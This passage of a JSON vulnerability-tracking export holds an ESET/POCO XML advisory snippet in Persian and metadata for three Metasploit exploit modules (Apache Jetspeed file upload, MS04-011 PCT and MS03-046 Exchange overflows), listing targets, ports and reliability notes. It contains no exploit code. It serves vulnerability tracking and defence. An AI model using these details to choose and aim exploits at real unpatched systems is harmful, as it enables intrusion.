\u06af\u0648\u0627\u0647\u06cc\u200c\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u062e\u0648\u062f-\u0627\u0645\u0636\u0627\u0621\u060c \u0645\u062d\u062a\u0648\u0627\u06cc XML \u0645\u062e\u0631\u0628 \u0631\u0627 \u062a\u062d\u0648\u06cc\u0644 \u062f\u0647\u062f. \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0632\u0645\u0627\u0646\u06cc\u200c\u06a9\u0647 \u0633\u0631\u0648\u06cc\u0633 esets_daemon \u0645\u062d\u062a\u0648\u0627\u06cc XML \u0631\u0627 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u067e\u0631\u062f\u0627\u0632\u0634 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f6-\u06f0\u06f7\u06f1\u06f8 \u0628\u0627 \u0627\u0645\u062a\u06cc\u0627\u0632\u0627\u062a \u0648\u06cc\u0698\u0647 \u0642\u0627\u0628\u0644 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f. \n\n\u06a9\u062f \u0627\u062b\u0628\u0627\u062a \u0645\u0641\u0647\u0648\u0645\u06cc \u062a\u0648\u0633\u0637 \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06af\u0648\u06af\u0644 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u06a9\u0647 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u0686\u0647\u200c\u0637\u0648\u0631 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0627\u0639\u062b \u062f\u0631\u0647\u0645 \u0634\u06a9\u0633\u062a\u0646 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET \u0645\u06cc\u200c\u0634\u0648\u062f. \u0634\u0631\u06a9\u062a ESET \u0628\u0627 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u06cc POCO \u0648 \u062a\u063a\u06cc\u06cc\u0631\u0627\u062a \u062f\u0631 \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc \u0645\u062d\u0635\u0648\u0644 \u062e\u0648\u062f\u060c \u0628\u0647\u200c\u0637\u0648\u0631\u06cc \u06a9\u0647 \u06af\u0648\u0627\u0647\u06cc\u200c\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc SSL \u0631\u0627 \u0628\u0647\u200c\u062f\u0631\u0633\u062a\u06cc \u0627\u0639\u062a\u0628\u0627\u0631\u0633\u0646\u062c\u06cc \u0628\u06a9\u0646\u062f\u060c \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u0646\u06cc\u0633\u062a \u06a9\u0647 \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06af\u0648\u06af\u0644 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u062f\u0631 \u0645\u062d\u0635\u0648\u0644\u0627\u062a ESET \u06a9\u0634\u0641 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f5 \u0645\u06cc\u0644\u0627\u062f\u06cc \u06cc\u06a9\u06cc \u0627\u0632 \u06a9\u0627\u0631\u0634\u0646\u0627\u0633\u0627\u0646 \u06af\u0648\u06af\u0644 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062d\u06cc\u0627\u062a\u06cc \u0631\u0627 \u062f\u0631 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u0648 OS X \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0647 \u0628\u0648\u062f. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0627\u062f \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u062f\u0633\u062a\u06af\u0627\u0647 \u0631\u0627 \u062f\u0631 \u062f\u0633\u062a \u06af\u06cc\u0631\u062f.", "creation_timestamp": "2026-07-27T00:01:48.819917Z"}, {"uuid": "e15dacd2-4259-476a-9f3b-1a2930163b74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0710", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/apache_jetspeed_file_upload.rb", "content": "{\"aliases\": [], \"arch\": \"java\", \"author\": [\"Andreas Lindh\", \"wvu \"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"This module exploits the unsecured User Manager REST API and a ZIP file\\n          path traversal in Apache Jetspeed-2, version 2.3.0 and unknown earlier\\n          versions, to upload and execute a shell.\\n\\n          Note: this exploit will create, use, and then delete a new admin user.\\n\\n          Warning: in testing, exploiting the file upload clobbered the web\\n          interface beyond repair. No workaround has been found yet. Use this\\n          module at your own risk. No check will be implemented.\", \"disclosure_date\": \"2016-03-06\", \"fullname\": \"exploit/multi/http/apache_jetspeed_file_upload\", \"is_install_path\": true, \"mod_time\": \"2025-12-17 17:11:13 +0000\", \"name\": \"Apache Jetspeed Arbitrary File Upload\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/multi/http/apache_jetspeed_file_upload.rb\", \"platform\": \"Linux,Windows\", \"post_auth\": false, \"rank\": 0, \"ref_name\": \"multi/http/apache_jetspeed_file_upload\", \"references\": [\"CVE-2016-0710\", \"CVE-2016-0709\", \"URL-http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and\", \"URL-https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709\", \"URL-https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710\"], \"rport\": 8080, \"session_types\": false, \"targets\": [\"Apache Jetspeed <= 2.3.0 (Linux)\", \"Apache Jetspeed <= 2.3.0 (Windows)\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:40.715733Z"}, {"uuid": "dda8b85e-3b5e-4482-a559-af5ccbf962d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2003-0719", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/ssl/ms04_011_pct.rb", "content": "{\"aliases\": [], \"arch\": \"\", \"author\": [\"hdm \"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": false, \"default_credential\": false, \"description\": \"This module exploits a buffer overflow in the Microsoft\\n          Windows SSL PCT protocol stack. This code is based on Johnny\\n          Cyberpunk's THC release and has been tested against Windows\\n          2000 and Windows XP. To use this module, specify the remote\\n          port of any SSL service, or the port and protocol of an\\n          application that uses SSL. The only application protocol\\n          supported at this time is SMTP. You only have one chance to\\n          select the correct target, if you are attacking IIS, you may\\n          want to try one of the other exploits first (WebDAV). If\\n          WebDAV does not work, this more than likely means that this\\n          is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS\\n          5.1). Using the wrong target may not result in an immediate\\n          crash of the remote system.\", \"disclosure_date\": \"2004-04-13\", \"fullname\": \"exploit/windows/ssl/ms04_011_pct\", \"is_install_path\": true, \"mod_time\": \"2025-06-06 12:39:33 +0000\", \"name\": \"MS04-011 Microsoft Private Communications Transport Overflow\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/windows/ssl/ms04_011_pct.rb\", \"platform\": \"Windows\", \"post_auth\": false, \"rank\": 200, \"ref_name\": \"windows/ssl/ms04_011_pct\", \"references\": [\"CVE-2003-0719\", \"OSVDB-5250\", \"BID-10116\", \"MSB-MS04-011\", \"ATT&CK-T1059\", \"ATT&CK-T1068\"], \"rport\": null, \"session_types\": false, \"targets\": [\"Windows 2000 SP4\", \"Windows 2000 SP3\", \"Windows 2000 SP2\", \"Windows 2000 SP1\", \"Windows 2000 SP0\", \"Windows XP SP0\", \"Windows XP SP1\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:52:35.685671Z"}, {"uuid": "3f9dc80d-c0ad-4ca0-8b53-48dd6debbb7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2003-0714", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb", "content": "{\"aliases\": [], \"arch\": \"\", \"author\": [\"hdm \", \"aushack \"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This is an exploit for the Exchange 2000 heap overflow. Due\\n          to the nature of the vulnerability, this exploit is not very\\n          reliable. This module has been tested against Exchange 2000\\n          SP0 and SP3 running a Windows 2000 system patched to SP4. It\\n          normally takes between one and 100 connection attempts to\\n          successfully obtain a shell. This exploit is *very* unreliable.\", \"disclosure_date\": \"2003-10-15\", \"fullname\": \"exploit/windows/smtp/ms03_046_exchange2000_xexch50\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:58:58 +0000\", \"name\": \"MS03-046 Exchange 2000 XEXCH50 Heap Overflow\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb\", \"platform\": \"Windows\", \"post_auth\": false, \"rank\": 400, \"ref_name\": \"windows/smtp/ms03_046_exchange2000_xexch50\", \"references\": [\"CVE-2003-0714\", \"BID-8838\", \"OSVDB-2674\", \"MSB-MS03-046\", \"EDB-113\"], \"rport\": 25, \"session_types\": false, \"targets\": [\"Exchange 2000\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:52:34.800880Z"}]}